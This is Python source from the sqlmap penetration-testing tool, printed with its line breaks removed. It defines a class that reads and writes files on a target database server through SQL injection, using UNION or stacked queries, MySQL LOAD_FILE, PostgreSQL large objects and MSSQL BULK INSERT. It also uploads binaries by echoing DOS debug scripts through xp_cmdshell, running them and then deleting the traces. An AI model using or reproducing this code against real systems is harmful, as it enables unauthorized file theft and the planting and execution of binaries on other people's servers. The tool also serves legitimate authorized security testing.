#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2009 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import binascii import os from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger from lib.request import inject from lib.techniques.outband.stacked import stackedTest class Filesystem: """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): self.fileTblName = "sqlmapfile" self.tblField = "data" def __unbase64String(self, base64Str): unbase64Str = "%s\n" % base64Str.decode("base64") return unbase64Str def __unhexString(self, hexStr): if len(hexStr) % 2 != 0: errMsg = "for some reasons sqlmap retrieved an odd-length " errMsg += "hexadecimal string which it is not able to convert " errMsg += "to raw string" logger.error(errMsg) return hexStr return binascii.unhexlify(hexStr) def __binDataToScr(self, binaryData, chunkName): """ Called by Microsoft SQL Server plugin to write a binary file on the back-end DBMS underlying file system """ fileLines = [] fileSize = len(binaryData) lineAddr = 0x100 lineLen = 20 fileLines.append("n %s" % chunkName) fileLines.append("rcx") fileLines.append("%x" % fileSize) fileLines.append("f 0100 %x 00" % fileSize) for fileLine in range(0, len(binaryData), lineLen): scrString = "" for lineChar in binaryData[fileLine:fileLine+lineLen]: strLineChar = binascii.hexlify(lineChar) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar lineAddr += len(lineChar) fileLines.append(scrString) fileLines.append("w") fileLines.append("q") return fileLines def __checkWrittenFile(self, wFile, dFile, fileType): if kb.dbms == "MySQL": lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile elif kb.dbms == "PostgreSQL": lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid elif kb.dbms == "Microsoft SQL Server": self.createSupportTbl(self.fileTblName, self.tblField, "text") # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10))) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) wFileSize = os.path.getsize(wFile) logger.debug("checking if the %s file has been written" % fileType) dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2) if dFileSize and dFileSize.isdigit(): infoMsg = "the file has been successfully written and " infoMsg += "its size is %s bytes" % dFileSize dFileSize = long(dFileSize) if wFileSize == dFileSize: infoMsg += ", same size as the local file '%s'" % wFile else: infoMsg += ", but the size differs from the local " infoMsg += " file '%s' (%d bytes)" % (wFile, wFileSize) logger.info(infoMsg) else: warnMsg = "it looks like the file has not been written, this " warnMsg += "can occur if the DBMS process' user has no write " warnMsg += "privileges in the destination path" logger.warn(warnMsg) def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ counter = 0 sqlQueries = [] for fcEncodedLine in fcEncodedList: if counter == 0: sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) else: updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine) sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) counter += 1 return sqlQueries def fileEncode(self, fileName, encoding, single): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ fcEncodedList = [] fp = open(fileName, "rb") fcEncodedStr = fp.read().encode(encoding).replace("\n", "") if not single: fcLength = len(fcEncodedStr) if fcLength > 1024: for i in range(0, fcLength, 1024): string = "" if encoding == "hex": string += "0x" string += fcEncodedStr[i:i+1024] if encoding == "base64": string = "'%s'" % string fcEncodedList.append(string) if not fcEncodedList: if encoding == "hex": fcEncodedStr = "0x%s" % fcEncodedStr elif encoding == "base64": fcEncodedStr = "'%s'" % fcEncodedStr fcEncodedList = [ fcEncodedStr ] return fcEncodedList def updateBinChunk(self, binaryData, tmpPath): """ Called by Microsoft SQL Server plugin to write a binary file on the back-end DBMS underlying file system """ randScr = "sqlmapfile%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) fileScrLines = self.__binDataToScr(binaryData, chunkName) forgedScrLines = [] cmd = "" charCounter = 0 maxLen = 4096 logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName)) for scrLine in fileScrLines: forgedScrLine = "echo %s " % scrLine forgedScrLine += ">> %s\%s" % (tmpPath, randScr) forgedScrLines.append(forgedScrLine) for forgedScrLine in forgedScrLines: cmd += "%s & " % forgedScrLine charCounter += len(forgedScrLine) if charCounter >= maxLen: forgedCmd = self.xpCmdshellForgeCmd(cmd) self.execCmd(forgedCmd) cmd = "" charCounter = 0 if cmd: forgedCmd = self.xpCmdshellForgeCmd(cmd) self.execCmd(forgedCmd) commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F %s" % randScr ) complComm = " & ".join(command for command in commands) forgedCmd = self.xpCmdshellForgeCmd(complComm) self.execCmd(forgedCmd, silent=True) return chunkName def askCheckWrittenFile(self, wFile, dFile, fileType): message = "do you want confirmation that the file '%s' " % dFile message += "has been successfully written on the back-end DBMS " message += "file system? [Y/n] " output = readInput(message, default="Y") if not output or output in ("y", "Y"): self.__checkWrittenFile(wFile, dFile, fileType) def readFile(self, rFile): fileContent = None stackedTest() self.checkDbmsOs() if not kb.stackedTest: debugMsg = "going to read the file with UNION query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.unionReadFile(rFile) else: debugMsg = "going to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(rFile) if fileContent in ( None, "" ): self.cleanup(onlyFileTbl=True) return elif isinstance(fileContent, (list, tuple, set)): newFileContent = "" for chunk in fileContent: if isinstance(chunk, (list, tuple, set)): chunk = chunk[0] newFileContent += chunk fileContent = newFileContent fileContent = self.__unhexString(fileContent) rFilePath = dataToOutFile(fileContent) self.cleanup(onlyFileTbl=True) return rFilePath def writeFile(self, wFile, dFile, fileType=None, confirm=True): stackedTest() self.checkDbmsOs() if not kb.stackedTest: debugMsg = "going to upload the %s file with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) self.unionWriteFile(wFile, dFile, fileType, confirm) else: debugMsg = "going to upload the %s file with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) self.stackedWriteFile(wFile, dFile, fileType, confirm) self.cleanup(onlyFileTbl=True)